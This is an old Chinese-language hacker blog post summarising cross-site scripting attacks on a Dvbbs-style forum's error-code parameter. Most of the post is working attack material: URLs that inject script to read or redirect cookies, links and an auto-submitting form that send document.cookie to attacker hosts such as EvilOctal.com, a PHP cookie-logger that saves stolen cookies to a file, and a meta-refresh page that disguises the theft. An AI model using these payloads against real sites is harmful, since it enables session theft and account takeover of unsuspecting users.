2005-11-10 21:47:50 by: h4x0r

一些跨站脚本攻击的总结

Font Size: Large | Medium | Small
以动网为例子通过简单构造弹出cookies的url来检测漏洞是否存在:
http://www.target.com/bbs......odes=&lt;sc9xiaopt&gt;alert(document.cookie)</sc9xiaopt>&action=otherErr

以上将弹出本地用户的cookies 下面重定向地址到邪恶八进制
http://www.target.com/bbs......iaopt&gt;document.location=&#39;http://www.EvilOctal.com&#39;</sc9xiaopt>&action=otherErr

其实方法在这里 php如果过滤不严 也大同小异
http://www.target.com/bbs......;&gt;&lt;sc9xiaopt&gt;alert(document.cookie)</sc9xiaopt>

下面是经典用法 构造链接盗取cookies 这里以php空间为例子 谁让偶的是bsd+mysql+php空间呢:
仍以动网为例子 构造如下链接 别以为我说的是动网哦 相信聪明的你很容易明白的^_^
http://www.target.com/bbs......iaopt&gt;document.location=&#39;http://www.Secu9xiaotyPeak.com/cookie.asp?&#39;%2Bdocument cookie</sc9xiaopt>&action=otherErr

很遗憾 有的时候没那么好:(
第一 有可能受到主机安全限制无法执行以上的url 比如php中那个恶心的斜杠
第二 没有一个白痴会像流氓豆(嘿嘿 对Etern4lCn进行一下人身攻击)一样去点这么奇怪的一个地址链接

好!首先来如何解决一...突破php安全限制:
http://www.target.com/bbs/target.php/"><form name=EvilOctal method=post action=http://www.EvilOctal.com/cookie.php>
<input type=txt name=info><input type=submit value=EvilOctal></form>
<sc9xiaopt>
document.EvilOctal.info.value=document.cookie;
document.EvilOctal.submit();
</sc9xiaopt>

以下我们来看看cookie.php的内容 因为cookie在远程提交的时候 必需有负责接收的:
<?php
$info = getenv("QUERY_STRING");
if ($info) {
$info=urldecode($info);
$fp = fopen("info.txt","a");
fwirte($fp,$info."\n\n\n\n");
fclose($fp);
header("Location:http://www.EvilOctal.com/news.htm");
}
?>

这样第一个问题就完美解决:)
现在我们来看看第二个 嘿嘿 其实上面一经解决了 只要大家看看美丽的news.htm的内容就知道了:
<meta http-equiv="refresh" content="1;url=http://www.target.com/bbs/target.asp?Errcodes=<sc9xiaopt>document.location='http://www.EvilOctal.com/cookie.php?&#39;%2Bdocument cookie</sc9xiaopt>&action=otherErr>

现在明白了么?其实关键就在那个cookie.php 欺骗的关键
Comments Feed Comments Feed: http://www.4evil.org/feed.asp?q=comment&id=17

There is no comment on this article.

Post Comment
Smilies
[smile] [confused] [cool] [cry]
[eek] [angry] [wink] [sweat]
[lol] [stun] [razz] [redface]
[rolleyes] [sad] [yes] [no]
[heart] [star] [music] [idea]
Enable UBB Codes
Auto Convert URL
Show Smilies
Hidden Comment
Username:   Password:   Register Now?
Security Code * Please Enter the Security Code